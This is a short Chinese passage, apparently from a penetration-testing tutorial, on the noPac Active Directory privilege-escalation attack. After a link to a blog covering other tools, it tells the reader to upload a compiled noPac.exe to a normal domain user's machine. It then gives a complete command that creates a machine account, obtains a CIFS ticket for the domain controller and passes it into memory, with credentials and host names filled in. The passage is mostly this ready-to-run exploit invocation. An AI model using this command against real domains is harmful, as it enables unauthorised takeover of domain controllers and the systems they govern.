另外其他工具的方法可以参考如下链接。
https://blog.csdn.net/weixin_44747030/article/details/127158385
使用noPac.exe
将编译好的noPac.exe上传到普通域用户 的主机,执行以下命令,创建一个名为NOPAC1的机器账户,获得一个针对域控的CIFS服务的票据,并将该票据传递到内存中。
noPac.exe -domain vvvv1.com -user man1 -pass User!@#45 /dc ad-2016.vvvv1.com /mAccount NOPAC1 /mPassword User!@#45 /service cifs /ptt
注意,如果该机器账户名已存在,则会报错。